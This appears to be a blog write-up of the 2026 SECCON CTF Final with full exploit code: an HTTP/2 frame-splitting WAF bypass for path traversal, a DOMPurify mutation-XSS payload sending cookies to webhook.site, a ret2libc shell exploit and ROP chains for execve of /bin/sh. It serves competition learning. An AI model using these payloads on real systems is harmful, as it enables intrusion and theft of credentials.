2026 SECCON CTF Final
Table of Contents
- 1st Day Jeopardy Style CTF
- Warpup(web)
- DOMDOMDOMPurify(web)
- scrofa(pwn)
- 2nd Day King of the Hill Style CTF
- Bid My Gadget(pwn)
- t1
- t2
- t3
- t4
- Japan Trip
1st Day Jeopardy Style CTF
The first day was a Jeopardy-style CTF, the format we’re all familiar with, where you simply solve challenges.
I solved 2 web hacking challenges and 1 pwnable challenge, so I’ll write up the solutions for those.
What was fun was that when you solved a challenge, 
a VTuber would appear and give you a thumbs up.
Our team finished 4th on the first day.

Warpup
Looking at the backend code:
let path: String = body .fold(String::from("./"), |mut path, buf| async move { ... path += &String::from_utf8(chunk.into()).unwrap_or_default(); ... path }) .await;
fs::read_to_string(&path).unwrap_or(format!("Not Found: {}", &path).into())The request body is appended to ./ without validation to read files.
This immediately suggests Path Traversal.
While looking for defense logic against Path Traversal, I found the following in proxy/app.py:
def waf(req: str) -> bool: return (".." in req or "transfer" in req.lower())It’s a very weak filter that only checks for string inclusion.
The flag is in environ, so it seems we need to bypass the filter to read /proc/self/environ.
HTTP/2 can split the body across multiple DATA frames, which allowed us to bypass the filter detecting ...
Since the backend simply concatenates DATA payloads to create the final body, we can get the Flag from /proc/self/environ.
import reimport socketimport sys
HOST = sys.argv[1] if len(sys.argv) > 1 else "warpup.int.seccon.games"PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3000
def frame(ftype: int, flags: int, sid: int, payload: bytes = b"") -> bytes: n = len(payload) return bytes( [ (n >> 16) & 0xFF, (n >> 8) & 0xFF, n & 0xFF, ftype & 0xFF, flags & 0xFF, (sid >> 24) & 0x7F, (sid >> 16) & 0xFF, (sid >> 8) & 0xFF, sid & 0xFF, ] ) + payload
def hpack_lit(name: str, value: str) -> bytes: nb = name.encode() vb = value.encode() if len(nb) >= 128 or len(vb) >= 128: raise ValueError("header too long for this simple encoder") return bytes([0x00, len(nb)]) + nb + bytes([len(vb)]) + vb
def build_request() -> bytes: parts = [".", ".", "/", ".", ".", "/proc/self/environ"] body = "".join(parts)
headers = b"".join( [ hpack_lit(":method", "POST"), hpack_lit(":scheme", "http"), hpack_lit(":path", "/file"), hpack_lit(":authority", HOST), hpack_lit("content-length", str(len(body))), ] )
req = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" req += frame(0x4, 0x00, 0, b"") req += frame(0x1, 0x04, 1, headers)
for i, p in enumerate(parts): flags = 0x01 if i == len(parts) - 1 else 0x00 req += frame(0x0, flags, 1, p.encode())
return req
def recv_all(sock: socket.socket) -> bytes: out = b"" sock.settimeout(2) while True: try: c = sock.recv(65535) if not c: break out += c except Exception: break return out
def extract_data_stream1(raw: bytes) -> bytes: i = 0 body = b"" while i + 9 <= len(raw): length = (raw[i] << 16) | (raw[i + 1] << 8) | raw[i + 2] ftype = raw[i + 3] sid = ( ((raw[i + 5] & 0x7F) << 24) | (raw[i + 6] << 16) | (raw[i + 7] << 8) | raw[i + 8] ) i += 9 if i + length > len(raw): break payload = raw[i : i + length] i += length if ftype == 0x0 and sid == 1: body += payload return body
def main(): req = build_request() with socket.create_connection((HOST, PORT), timeout=10) as s: s.sendall(req) raw = recv_all(s)
body = extract_data_stream1(raw) m = re.search(rb"SECCON\{[^}]+\}", body) if m: print(m.group().decode()) else: print("flag not found")
if __name__ == "__main__": main()SECCON{Wha7_ch4racter_did_you_use_7o_s0lv3_1t??}
DOMDOMDOMPurify
Looking at the web code, it sanitizes input values x, y, z with DOMPurify and concatenates them with string replace at the end.
DOMPurify.addHook("afterSanitizeAttributes", (node) => { for (const { name, value } of node.attributes) { if (/[{}]/.test(value)) node.attributes.removeNamedItem(name); }});
result.innerHTML = "{X}{Y}{Z}" .replace("{X}", () => DOMPurify.sanitize(`<span>${x}</span>`)) .replace("{Y}", () => DOMPurify.sanitize(`<span>${y}</span>`)) .replace("{Z}", () => DOMPurify.sanitize(`<span>${z}</span>`));At first, it looks safe since the hook removes attributes containing {}, but looking closely, it’s deleting from node.attributes while iterating over it.
Since NamedNodeMap is live, one of the adjacent attributes can be skipped in the check.
So if we create:
<img alt="{Z}" src="{Y}">We can create a case where alt is removed but src="{Y}" remains.
The key point is that .replace("{Y}", ...) only replaces the first {Y}, so the {Y} inside img src gets replaced before the intended body position.
As a result, the sanitized y string is interpreted in the attribute context, causing an attribute breakout.
Looking at the bot code, it sets a FLAG cookie with domain=web before visiting the URL.
await context.setCookie({ name: "FLAG", value: flag.value, domain: challenge.appUrl.hostname, path: "/",});So if we create an XSS, we can extract the flag from document.cookie.
#!/usr/bin/env python3import argparseimport jsonimport timeimport urllib.errorimport urllib.parseimport urllib.request
def build_exploit_url(webhook_url: str) -> str: x = '</span><img alt="{Z}" src="{Y}">' y = ( f'" onerror="location=\'{webhook_url}?c=\'+encodeURIComponent(document.cookie)" ' 'src="x' ) z = "1" query = urllib.parse.urlencode({"x": x, "y": y, "z": z}) return f"http://web:3000/?{query}"
def post_report(bot_base: str, target_url: str) -> tuple[int, str]: endpoint = bot_base.rstrip("/") + "/api/report" body = json.dumps({"url": target_url}).encode() req = urllib.request.Request( endpoint, data=body, headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=20) as resp: data = resp.read().decode(errors="replace") return resp.status, data
def poll_flag(token: str, timeout: int, interval: float) -> str | None: endpoint = f"https://webhook.site/token/{token}/requests?sorting=newest" deadline = time.time() + timeout
while time.time() < deadline: try: with urllib.request.urlopen(endpoint, timeout=15) as resp: data = json.loads(resp.read().decode()) except urllib.error.URLError: time.sleep(interval) continue
for item in data.get("data", []): query = item.get("query") or {} c = query.get("c") if not c: continue if "SECCON{" in c: if c.startswith("FLAG="): return c.split("FLAG=", 1)[1] return c
time.sleep(interval)
return None
def main() -> int: parser = argparse.ArgumentParser(description="SECCON DOMDOMDOMPurify exploit") parser.add_argument( "--bot", default="http://domdomdom.int.seccon.games:1337", help="Admin bot base URL", ) parser.add_argument( "--webhook-token", required=True, help="Webhook.site token UUID", ) parser.add_argument("--timeout", type=int, default=90, help="Polling timeout seconds") parser.add_argument("--interval", type=float, default=2.0, help="Polling interval seconds") args = parser.parse_args()
webhook_url = f"https://webhook.site/{args.webhook_token}" exploit_url = build_exploit_url(webhook_url)
print(f"[+] Exploit URL: {exploit_url}") print(f"[+] Report to: {args.bot.rstrip('/')}/api/report")
status, body = post_report(args.bot, exploit_url) print(f"[+] Report response: {status} {body.strip()}")
flag = poll_flag(args.webhook_token, args.timeout, args.interval) if flag: print(f"[+] FLAG: {flag}") return 0
print("[-] Flag not received in time") return 1
if __name__ == "__main__": raise SystemExit(main())SECCON{abus3d_mXSS_pr0tections}
scrofa
This challenge has the following features:
1: Input note content2: Output note3: Save file (fopen(save->path, "w")) I found the vulnerability immediately. Inscanf("%[^\n]%*c", note);,noteis0x1000bytes, but there’s no input length limit, allowing overflow. Initially, I tried to leak addresses usingfwritein the code but failed.
FILE *fp = fopen(save->path, "w");if (!fp) { perror(save->path); break;}In this branch, if we overwrite save->path, perror will print the string pointed to by that pointer, allowing us to complete the leak.
Let me explain the exploit design:
First, write A * 0x1060 + b"\x00" to manipulate the lower byte of save->path.
Then press Save to measure the prefix length in the perror output before ": <errno>".
We need this value to match canary leak to tempname + const and calculate the 1-byte overwrite value based on the current session’s stack low16.
After setting 1 byte to make save->path = tempname + 0x59, then Save.
Read the 7 bytes before the perror prefix:
canary = b"\x00" + leaked[:7]to restore the canary.
Set to save->path = tempname + 0x78 to leak main’s return pointer.
leaked_ret = u64(leaked[:6].ljust(8, b"\x00"))libc_base = leaked_ret - 0x2a1caThe final exploit was relatively easy using ret2libc.
#!/usr/bin/env python3import argparseimport osimport refrom typing import Optionalfrom pwn import ELF, ROP, context, flat, p64, process, remote, u64
context.arch = "amd64"context.log_level = "error"
RET_TO_LIBC_OFF = 0x2A1CACANARY_OFFSET_IN_MAIN = 0x59RET_OFFSET_IN_MAIN = 0x78PROBE_PREFIX_LEN_BIAS = 0x40
def parse_perror_prefix(out: bytes) -> Optional[bytes]: if not out.endswith(b"> "): return None body = out[:-2] pos = body.rfind(b": ") if pos < 0: return None err = body[pos + 2 :].split(b"\n", 1)[0] if err not in { b"No such file or directory", b"Read-only file system", b"Permission denied", b"Invalid argument", }: return None return body[:pos]
def recv_menu(io) -> bytes: return io.recvuntil(b"> ", timeout=1.0)
def menu_write(io, payload: bytes) -> None: io.sendline(b"1") io.recvuntil(b"New content: ", timeout=1.0) io.send(payload + b"\n") recv_menu(io)
def menu_save(io) -> bytes: io.sendline(b"3") return recv_menu(io)
def connect_target(host: str, port: int, local_bin: Optional[str]): if local_bin: return process(local_bin) return remote(host, port, timeout=1.0)def solve_once(host: str, port: int, local_bin: Optional[str], libc: ELF): rop = ROP(libc) pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address ret = rop.find_gadget(["ret"]).address system = libc.symbols["system"] binsh = next(libc.search(b"/bin/sh\x00")) io = connect_target(host, port, local_bin) recv_menu(io) menu_write(io, b"A" * 0x1060 + b"\x00") p0 = parse_perror_prefix(menu_save(io)) if p0 is None or not p0 or any(ch != 0x41 for ch in p0): io.close() return None
temp_low16 = len(p0) - PROBE_PREFIX_LEN_BIAS if temp_low16 < 0 or temp_low16 > 0x87: io.close() return None
c_can = temp_low16 + CANARY_OFFSET_IN_MAIN c_ret = temp_low16 + RET_OFFSET_IN_MAIN menu_write(io, b"A" * 0x1060 + bytes([c_can])) p_can = parse_perror_prefix(menu_save(io)) if p_can is None or len(p_can) < 7: io.close() return None canary = b"\x00" + p_can[:7] menu_write(io, b"A" * 0x1060 + bytes([c_ret])) p_ret = parse_perror_prefix(menu_save(io)) if p_ret is None or len(p_ret) < 6: io.close() return None
leaked_ret = u64(p_ret[:6].ljust(8, b"\x00")) if (leaked_ret >> 40) != 0x7F: io.close() return None libc_base = leaked_ret - RET_TO_LIBC_OFF chain = flat( p64(libc_base + ret), p64(libc_base + pop_rdi), p64(libc_base + binsh), p64(libc_base + system), ) payload = b"A" * 0x1008 + canary + b"B" * 8 + chain if b"\n" in payload: io.close() return None
menu_write(io, payload) io.sendline(b"9") io.sendline(b"cat /app/flag-* 2>/dev/null || id") out = io.recvrepeat(1.5) io.close()
m = re.search(rb"(SECCON\{[^}\n]+\}|FLAG\{[^}\n]+\})", out) return { "temp_low16": temp_low16, "canary": canary, "leaked_ret": leaked_ret, "libc_base": libc_base, "output": out, "flag": m.group(1).decode() if m else None, }
def main() -> None: parser = argparse.ArgumentParser( description="scrofa exploit (perror-based leaks + ret2libc)" ) parser.add_argument("--host", default="scrofa.int.seccon.games") parser.add_argument("--port", type=int, default=5000) parser.add_argument("--libc", default="./libc_scrofa.so.6") parser.add_argument("--attempts", type=int, default=3000) parser.add_argument( "--local-bin", default=None, help="If set, run local process instead of remote TCP.", ) args = parser.parse_args()
libc_path = args.libc if not os.path.isabs(libc_path): libc_path = os.path.join(os.path.dirname(__file__), libc_path) libc = ELF(libc_path, checksec=False)
for i in range(1, args.attempts + 1): try: result = solve_once(args.host, args.port, args.local_bin, libc) except Exception: result = None if not result: if i % 100 == 0: print(f"[attempt {i}] still searching suitable stack low16...") continue
print(f"[attempt {i}] exploit path found") print(f" temp_low16 = 0x{result['temp_low16']:x}") print(f" leaked_ret = 0x{result['leaked_ret']:x}") print(f" libc_base = 0x{result['libc_base']:x}") print(result["output"].decode("latin-1", "ignore"), end="") if result["flag"]: print(f"\n[+] flag = {result['flag']}") return
if __name__ == "__main__": main()SECCON{1n05h1$Hi_Um4_uMA!}
As a side note, I was running out of time on this challenge, so I explained my idea to codex5.3, showed it the debugging process, and let it handle the exploit. I was amazed when it completed the exploit in just 2 minute.
2nd Day King of the Hill Style CTF
The King of the Hill format runs with one tick every 5 minutes. For the pwnable challenges I solved, we needed to solve problems requiring the smallest ROP chains. Also, necessary gadgets had to be purchased in auctions held every 30 minutes, making auction skills quite important.
t1 - Paint the Canvas
t1Paint the CanvasWrite dword 0xdeadbeef to address 0x50001337.{ "addr": 1342182199, "size": 4, "type": "mem_eq", "value": 3735928559}The gadgets used for this challenge:
0x4015b1:pop rbx; ret(from0x4015b0 + 1)0x402070:xchg rbx, rcx; ret0x401268:pop rbp; ret(from0x401260 + 8)0x4013d0:pop r13; push rsp; pop rsp; add rsp, 8; ret0x401280:mov dword ptr [rbp - 0xd28], ecx; call r130x4013b0:hlt
| Slot | QWORD Value | Meaning |
|---|---|---|
| 0 | 0x00000000004015b1 | pop rbx; ret |
| 1 | 0x00000000deadbeef | rbx <- 0xdeadbeef |
| 2 | 0x0000000000402070 | xchg rbx, rcx |
| 3 | 0x0000000000401268 | pop rbp; ret |
| 4 | 0x000000005000205f | rbp <- target+0xd28 (0x50001337 + 0xd28) |
| 5 | 0x00000000004013d0 | pop r13; ... add rsp,8; ret |
| 6 | 0x00000000004013b0 | r13 <- hlt |
| 7 | 0x0000000000000000 | dummy skipped by add rsp,8 |
| 8 | 0x0000000000401280 | mov dword [rbp-0xd28], ecx; call r13 |
- Load
0xdeadbeefwithpop rbx. - Move value to
ecxwithxchg rbx,rcx. - Set
0x50001337 + 0xd28topop rbp. - Prepare
r13 = hltwithpop r13.... - Execute
mov dword [rbp-0xd28], ecxto write 4 bytes to0x50001337. - Call
hltwithcall r13to terminate.
t2 - Way Out
t2Way OutExecute syscall(rax=60, rdi=<dword from address 0x50001234>){ "checks": [ { "regs": { "rax": 60 }, "type": "syscall" }, { "addr": 1342181940, "reg": "rdi", "type": "reg_eq_mem_u32_initial" } ], "type": "and"}The gadgets used for this challenge:
0x401090:add eax, 0x1c937; ret0x4014c5:and eax, 0xfe; ret(from0x4014c0 + 5)0x401410:add eax, 3; ret0x4015b1:pop rbx; ret0x401321:mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17(from0x401320 + 1)0x401170:syscall
| Index | Value | Meaning |
|---|---|---|
| 0 | 0x0000000000401090 | Start rax calculation |
| 1 | 0x00000000004014c5 | and eax,0xfe |
| 2 | 0x0000000000401410 | add eax,3 |
| 3 | 0x0000000000401410 | add eax,3 -> rax=60 |
| 4 | 0x00000000004015b1 | pop rbx |
| 5 | 0x000000004fe0598b | rbx = 0x50001234 - 0x1fb8a9 |
| 6 | 0x0000000000401321 | mov edi,[rbx+off]; ret 0x17 |
- Create
rax=60withadd/and/add/add. - Put
0x4fe0598binpop rbx. mov edi,[rbx+0x1fb8a9]to getrdi <- *(u32*)0x50001234.ret 0x17advancesrspsignificantly, and with the remaining 3 tail bytes (70 11 40) + zero-filled stack, RIP becomes0x401170.- Trigger
syscall.
t3 - Art Forgery
t3Art ForgeryCopy 0x40 bytes from address 0x50001000 to 0x5000f000.{ "dst": 1342238720, "size": 64, "src": 1342181376, "type": "mem_copy"}The core block used for this challenge:
Front part of 0x401010 block:
...movsqcall qword ptr [rdx - 0xfe8]Used repeatedly to copy 8 bytes at a time.
Since we’re copying 0x40 bytes, we need 8 movsq operations.
Key points of this challenge:
- Use a fixed stack position (
0x7fff00000200) as the call target table. - Use
mov dword [rbp-0xd28], ecx; call r13to write0x4015b1to the lower 4 bytes of table[0]. - Since the upper 4 bytes of the table are 0, the entry becomes
0x00000000004015b1(=pop rbx; ret). - After that,
call [rdx-0xfe8]always goes topop rbx; ret, which consumes the next RIP from the stack, forming a loop.
| Slot | QWORD Value | Meaning |
|---|---|---|
| 0 | 0x00000000004013d0 | pop r13; ... add rsp,8; ret |
| 1 | 0x00000000004015b1 | r13 <- pop_rbx_ret |
| 2 | 0x0000000000000000 | skipped |
| 3 | 0x0000000000401268 | pop rbp; ret |
| 4 | 0x00007fff00000f28 | table+0xd28 |
| 5 | 0x00000000004015b1 | next RIP |
| 6 | 0x00000000004015b1 | rbx <- 0x4015b1 |
| 7 | 0x0000000000402070 | xchg rbx,rcx |
| 8 | 0x0000000000401280 | mov dword [rbp-0xd28],ecx; call r13 |
| 9 | 0x0000000000402080 | xchg rcx,rdx |
| 10 | 0x0000000000401268 | pop rbp; ret |
| 11 | 0x000000005000f000 | rbp <- dst |
| 12 | 0x00000000004015a0 | xchg ebp,edi; jmp rdx |
| 13 | 0x0000000050001000 | (consumed by pop rbx after jmp) src |
| 14 | 0x0000000000402070 | xchg rbx,rcx |
| 15 | 0x00000000004014a0 | xchg ecx,esi; add rdx,rcx; jmp rdx |
| 16 | 0x00007fff000011e8 | (consumed by pop rbx after jmp) rdx_for_call |
| 17 | 0x0000000000402070 | xchg rbx,rcx |
| 18 | 0x0000000000402080 | xchg rcx,rdx |
| 19 | 0x0000000000401010 | movsq loop #1 |
| 20 | 0x0000000000401010 | movsq loop #2 |
| 21 | 0x0000000000401010 | movsq loop #3 |
| 22 | 0x0000000000401010 | movsq loop #4 |
| 23 | 0x0000000000401010 | movsq loop #5 |
| 24 | 0x0000000000401010 | movsq loop #6 |
| 25 | 0x0000000000401010 | movsq loop #7 |
| 26 | 0x0000000000401010 | movsq loop #8 |
- Bootstrap writer to plant
pop_rbx_retfunction pointer at table[0]. - Prepare
rdi=dst,rsi=src,rdx=table+0xfe8. - Each execution of
0x401010copies 8 bytes withmovsq. - The following
call [rdx-0xfe8]branches topop rbx; ret, fetching the next chain entry as RIP and repeating. - After 8 iterations, terminate with tail
hlt.
t4 - Call the Curator
t4Call the CuratorExecute syscall(rax=59, rdi="/bin/sh", rsi={"/bin/sh", "-c", "/readflag", NULL}, rdx=0){ "args": { "rdi": { "type": "cstr_eq", "value": "/bin/sh" }, "rdx": { "type": "ptr_eq", "value": 0 }, "rsi": { "type": "ptr_array_cstr_eq", "values": [ "/bin/sh", "-c", "/readflag", null ] } }, "regs": { "rax": 59 }, "type": "syscall"}The core idea for this challenge:
Using the lea rsi, [rsp+0x18] + lodsq combination to sequentially read (target, value) pairs mixed into the chain.
The repetition pattern:
lodsq-> target addressmov rdi, raxlodsq-> valuemov [rdi], rax
Perform this pattern 3 times to write the following qwords to scratch:
0x50001347 <- "flag\0\0\0\0"0x5000133f <- "-c\0/read"0x50001337 <- "/bin/sh\0"
This results in:
0x50001337:"/bin/sh\0"0x5000133f:"-c\0"0x50001342:"/readflag\0"(front qword + back qword concatenated)
| Slot | QWORD Value | Meaning |
|---|---|---|
| 0 | 0x0000000000402510 | lea rsi,[rsp+0x18]; ret |
| 1 | 0x00000000004013d4 | add rsp,8; ret (offset entry) |
| 2 | 0x0000000000000000 | skipped |
| 3 | 0x0000000000401310 | pop rbp; add rsp,0x28; ret |
| 4 | 0x0000000050001347 | t1 (or popped as rbp) |
| 5 | 0x0000000067616c66 | v1 = "flag" |
| 6 | 0x000000005000133f | t2 |
| 7 | 0x646165722f00632d | v2 = "-c\\0/read" |
| 8 | 0x0000000050001337 | t3 |
| 9 | 0x0068732f6e69622f | v3 = "/bin/sh\\0" |
| 10 | 0x0000000000402640 | lodsq |
| 11 | 0x0000000000402420 | mov rdi,rax |
| 12 | 0x0000000000402640 | lodsq |
| 13 | 0x00000000004022a0 | mov [rdi],rax |
| 14 | 0x0000000000402640 | lodsq |
| 15 | 0x0000000000402420 | mov rdi,rax |
| 16 | 0x0000000000402640 | lodsq |
| 17 | 0x00000000004022a0 | mov [rdi],rax |
| 18 | 0x0000000000402640 | lodsq |
| 19 | 0x0000000000402420 | mov rdi,rax |
| 20 | 0x0000000000402640 | lodsq |
| 21 | 0x00000000004022a0 | mov [rdi],rax |
| 22 | 0x0000000000402510 | lea rsi,[rsp+0x18] (realign to syscall arg lane) |
| 23 | 0x0000000000402640 | lodsq -> rax=59 |
| 24 | 0x0000000000401170 | syscall |
| 25 | 0x0000000000000000 | dummy |
| 26 | 0x000000000000003b | 59 |
| 27 | 0x0000000050001337 | argv[0] ptr |
| 28 | 0x000000005000133f | argv[1] ptr |
Tail bytes:
42 13 00 50These are the lower 4 bytes of argv[2] = 0x0000000050001342, with the upper bytes compensated by zero-fill.
The next qword is also zero-filled to become argv[3]=NULL.
Execution flow:
- Use 3 prefixes to align
rsito the data lane start. - Build string blocks with 3
lodsq/movpatterns. - After the last write,
rdialready points toptr_binsh. - Re-execute
lea rsito move to the syscall arg lane starting position. lodsqforrax=59.- When calling
syscall:rdi = 0x50001337->"/bin/sh"rsi = &argv([ptr_binsh, ptr_dashc, ptr_readflag, NULL])rdx = 0
Japan Trip
I was in Japan for 4 days but only had about 5 hours for sightseeing on the last day.
I visited Sensoji Temple and drew a fortune there.
You shake this small container to draw your fortune, and I got
this one. Since I don’t know Japanese, I asked ChatGPT what it meant. It was a moderate fortune which was a bit disappointing, but I was satisfied that I didn’t draw a bad one.
Next, I went to Tokyo Tower and then headed straight to the airport to return home.

Finally, thank you for reading this post. Thanks to SECCON for hosting this excellent competition. Also thanks to spl and [:] for giving me the opportunity to participate in the finals.